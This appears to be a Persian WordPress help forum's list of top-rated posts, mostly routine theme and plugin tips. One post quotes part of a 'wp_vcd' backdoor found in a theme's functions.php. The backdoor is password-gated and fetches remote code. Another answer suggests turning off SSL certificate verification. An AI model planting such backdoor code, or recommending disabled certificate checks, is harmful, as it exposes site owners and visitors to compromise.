تخته امتیازات
مطالب محبوب
در حال نمایش مطالب دارای بیشترین امتیاز در 31/02/97 در همه بخش ها
-
سلام و درود @itreza7 کد زیر به فایل functions.php قالب خود زیر اولین <?php اضافه کنید. add_filter('excerpt_more', '__return_empty_string'); موفق باشید4 امتیاز
-
add_filter('excerpt_more', function($more) { if(is_home() || is_front_page()) return ' ...'; // index.php if(is_archive()) return ' ...'; // archive.php return ' ...'; // Default });3 امتیاز
-
مثلا کد زیر جاش سه نقطه نشون میده. add_filter('excerpt_more', function($more) { return ' ...'; });3 امتیاز
-
سلام و درود add_filter('excerpt_length', function($length) { if(is_home() || is_front_page()) return 55; if(is_category()) return 75; return $length; }, 999); موفق باشید2 امتیاز
-
توی مثال فرض کردیم یه input داریم با آیدی ramz که مقدارش برابر با همون رمزی هست که میخواید کپی شه. بعد اومدیم یه رویداد کلیک پیاده کردیم روی این input که میگه وقتی کلیک شد روی input مقدار value اش که همون رمز باشه هایلایت بشه و داخل کلیپ بورد قرار بگیره.2 امتیاز
-
باید پست بذارید باید روی سئوی سایت کار کنید به موتور های جستجو معرفی کنید و..2 امتیاز
-
سلام ما برای سیستممون میخوایم کد تأیید یا کد رجیستری بفروشیم این کار با EED امکان پذیره؟ یعنی چند تا کد پشت سر هم بدیم بهش مثل زیر 1111 - 1112 - 1113 - 1114 - 1115 - ... یکی که به فروش رفت باطل کنه و بعدی رو بفروشه ممنون1 امتیاز
-
صحیح ولی این فقط رویه کار هست که شما انجام دادی. ولی شما باید این تکست باکسی رو که اضافه کردی براش کدبنویسی که موقع زدن انتشار پست سیو بشه توی دیتابیس. بخش اصلیش اونه ایناش که ساده است.1 امتیاز
-
1 امتیاز
-
اینی که اینجا میبینید مال خود قالب صحیفهی وردپرس هست، اما برای ساختن چنین چیزی پلاگین وجود داره و میتونه مشابه این باکس رو براتون درست کنه و مطالب رو بر حسب دسته، برچسب و... به همراه عکس عنوان و توضیح به کاربر نشون بده: https://wordpress.org/plugins/upprev/ البته اگر بخواین دقیقا مثل اون سایت بشه باید خودتون استایل بش بدید (نمونش رو در سایت خودم هم استفاده کردم، البته با استایل کاملا متفاوت) موفق باشید1 امتیاز
-
خیر مشکلی وجود نداره اما ممکنه لینک موضوعاتتون که در گوگل ایندکس شده با 404 موجه بشه1 امتیاز
-
اگه میخواید کپی رایت طراح قالب رو حذف کنید درست نیست بگم اما کد زیر رو از فانکشن قالب حذف کنید یا تغییر بدید یا ... add_action('wordpress_theme_initialize', 'wp_generate_theme_initialize'); function wp_generate_theme_initialize( ) { echo base64_decode('2KfYrNix2Kcg2LTYr9mHINiq2YjYs9i3OiA8YSBocmVmPSJodHRwczovL2hhbXlhcndwLmNvbSIgdGFyZ2V0PSJfYmxhbmsiPtmH2YXbjNin2LEg2YjYsdiv2b7YsdizPC9hPg=='); }1 امتیاز
-
معمولا قالب های همیار وردپرس از قسمت سفارشی سازی یا تنظیمات خود قالب این امکان رو داره تا این متن رو تغییر بدید اگر این قسمت ها رو چک نکردید، بررسیشون کنید1 امتیاز
-
سلام کد زیر تعداد کل تصاویر آپلود شده رو نشون میده که میتونید با اضافه کردن فرمتهای دلخواهتون تعداد اونا رو هم مشاهده کنید. function wpc_img_count(){ $query_img_args = array( 'post_type' => 'attachment', 'post_mime_type' =>array( 'jpg|jpeg|jpe' => 'image/jpeg', 'gif' => 'image/gif', 'png' => 'image/png', ), 'post_status' => 'inherit', 'posts_per_page' => -1, ); $query_img = new WP_Query( $query_img_args ); echo 'You currently host ' .$query_img->post_count. '1 امتیاز
-
1 امتیاز
-
برای این قضیه تابع شما به این شکل میشه: function mehran_get_parent_category_slug($post_id = false) { $categories = get_the_category((int) $post_id); if(empty($categories)) return ''; $parent_cats_id = array(); $parent_cats_slug = array(); foreach($categories as $cat) { if($cat->parent == 0) { $parent_cats_id[] = $cat->term_id; $parent_cats_slug[$cat->term_id] = $cat->slug; } } if($parent_cats_id === array()) return ''; $parent = min($parent_cats_id); return $parent_cats_slug[(int) $parent]; } شیوه استفادش هم به همون شکله فقط جای آ1 امتیاز
-
چون با EDD اصلا کار نکردم راهی به ذهنم نمیرسه. ولی به صورت اختصاصی میشه همچین چیزی نوشت.1 امتیاز
-
سلام و درود خود تیم EDD یه افزونه در این رابطه زده ولی تجاریه اون پلاگین. https://easydigitaldownloads.com/downloads/software-licensing/1 امتیاز
-
1 امتیاز
-
1 امتیاز
-
در حال حاظر یه افزونه سئو نصب کنید و چندتا پست خوب نه اینکه از جایی کپی کنید تو سایت قرار بدین و دسته بندی سایت انجام بدین بعد اینا سایت تو گوگل وب مستر و bingثبت کنید و بیشتر رو سئو سایت کار کنید و از افزونه های بیخود هم خوداری کنید و الکی نصب نکنید سایت سنگین بشه1 امتیاز
-
شما شروع کن به دسته بندی سایت و ... اون پست های قبلی رو هم پیش نویس قرار بده و به مرور زمان از طریق وب مستر گوگل تک تک پاک کن یهو پاک کنی همه اش ارور404 میاد و احتمال اینکه گوگل سایت شمارو تو لیست سیاه قرار بده زیاده1 امتیاز
-
می تونید برید تو پیکربندی ووکامرس و حساب کاربری غیرفعال کنید یا اینکه برگه ای که ساخته شده برید و شورت کد دومی رو بردارین1 امتیاز
-
داخل گوگل وبمستر تولز صفحه اصلی سایت رو فچ کنید و درخواست ایندکس بدید احتمال داره تاثیری توی سرعت تغییر داشته باشه.1 امتیاز
-
1 امتیاز
-
خطای داخلی سرور فقط مختص وردپرس نیست و با هرچیزی که بر روی سرور اجرا میشود، ممکن است رخ دهد. اما در وردپرس معمولا به خاطر افزونهها و توابع پوسته رخ میدهد یا با فایل خراب htaccess. و محدودیت حافظه php اتفاق میافتد. http error 500 در بعضی موارد با خطای وردپرس http error 500 فقط موقع دسترسی به پنل مدیریتی مواجه میشوید در حالی که بقیه سایت به خوبی در حال کار کردن است. در ادامه راه حلها را با هم مرور میکنیم. ۱- جستجو برای فایل htaccess. خراب اولین مشکلی که برای برطرف کردن خطای داخلی سرور یا وردپرس http error 500 باید بررسی کنید یک فایل htaccess خراب است که اینکار را میتوا1 امتیاز
-
سلام و درود فایل wp-config.php وردپرس رو باز کنید و زیر خطی که توش نوشته “Happy Blogging” کد زیر رو اضافه کنید. define('WP_MEMORY_LIMIT', '256M'); موفق باشید1 امتیاز
-
1 امتیاز
-
سلام و درود لینک ها به صورت پیشفرض dofollow هستند. موفق باشید1 امتیاز
-
1 امتیاز
-
1 امتیاز
-
مشکل پایه ای داره. <!-- Comment --> مورد بالا برای کامنت گذاری توی فایل HTML استفاده میشه ما الان توی یه فایل PHP هستیم و کامنت گذاری توی PHP دو حالت داره: /* Comment */ // Comment که این دو حالت بالا هم باید بعد از باز کردن تگ شروع دستورات PHP گذاشته بشه نه قبلش. در کل کد شما میشه: <?php // Theme Supports add_theme_support('title-tag'); // Filters add_filter('show_admin_bar', '__return_false'); // Navigation function navigation_menu() { register_nav_menus( array( 'nav_menu' => 'Navigation Menu', ) ); } add_action('init', 'navigation_menu');1 امتیاز
-
1 امتیاز
-
1 امتیاز
-
نه اینطور نیست من این کد رو گذاشتم داخلش هیچ اتفاق خاصی نیوفتاد. <?php add_theme_support('post-thumbnails');1 امتیاز
-
برای SKU کدها به این ترتیب میشه. <form method="post"> <input type="text" name="myprosku"> <input type="submit"> </form> add_filter('query_vars', function($qvars) { $qvars[] = 'myprosku'; return $qvars; }); add_action('template_redirect', function() { if(get_query_var('myprosku', false)) { global $wpdb; $sku = get_query_var('myprosku'); $post_id = $wpdb->get_var($wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_key='_sku' AND meta_value='%s' LIMIT 1", $sku)); if($post_id !== null) { $permalink = get_permalin1 امتیاز
-
سلام و درود من تا حالا افزونه ای رو کدگذاری نکردم ولی اون چند خط ابتدایی فایل اصلی افزونه که به شکل کامنت هست منظورم /* Plugin Name: New Post Ajax Notification Description: Show New Post Number By Ajax Version: 1.0 Author: Mehran-B License: GPL2 */ یه چیزی تو مایه های کدهای بالاست اینا نباید به شکل کد شده باشه باید بتونه اینا رو بخونه وردپرس اگر اینا کد شده که از توضیحات همین بر میاد این بخش رو از کدگذاری معاف کنید. موفق باشید1 امتیاز
-
1 امتیاز
-
توی فایل functions.php کدهای زیر یعنی چی؟ <?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '67a1688b9c3115f03150740ec1668f5f')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) { $file = preg_replace('/'.$matcholdd1 امتیاز
-
تو فایل functions.php ببینید قبل از <?php یا بعد از ?> فضای خالی یا همون اسپیس نیست.1 امتیاز
-
1 امتیاز
-
1 امتیاز
-
درود مجدد اگر کدی که افزونه داده با فرمت زیر هست: [shortcode] باید داخل متن پست ها یا متن برگه ها استفاده بشه. موفق باشید1 امتیاز
-
درود مجدد با تشکر از جناب @RedPlus البته اگر archive.php هم نباشه مستقیما از index.php استفاده میشه. موفق باشید1 امتیاز
-
1 امتیاز
-
خوب شما این دو خط کد رو بذار توی فایل functions.php قالبت دقیقا زیر اولین <?php add_filter('https_ssl_verify', '__return_false'); add_filter('https_local_ssl_verify', '__return_false'); بعد فایل رو سیو کنید. مجدد تست بفرمایید که مشکل حل شد یا خیر.1 امتیاز
-
سلام و درود فایل wp-config.php رو باز کنید سپس زیر خط: /* That's all, stop editing! Happy blogging. */ کد زیر رو اضافه کنید define('FS_METHOD', 'direct'); و مجدد تست کنید. موفق باشید1 امتیاز
-
پس اینطور که معلومه این افزونه CF7 هیچ رقمه نمی خواد درست بشه. واقعا راه دیگه ای هم به نظرم نمیرسه که بهتون بگم چون واقعا جناب @ahmadwp به نکات خوبی اشاره کردند. البته میشه فرم تماس با ما بدون افزونه هم پیاده کرد ولی خوب کار کدنویسی داره.1 امتیاز
-
والا الان منزل نیستم نمیتونم تست کنم. ولی یه مورد دیگه هم الان به ذهنم رسید. طراح cf7 یه پلاگین نوشته به اسم Flamingo این پلاگین میاد پیام های cf7 رو واستون توی دیتابیس ذخیره میکنه و توی داشبورد بهتون نشون میده. شما این پلاگین هم یه تست کنید بد نیست.1 امتیاز
-
1 امتیاز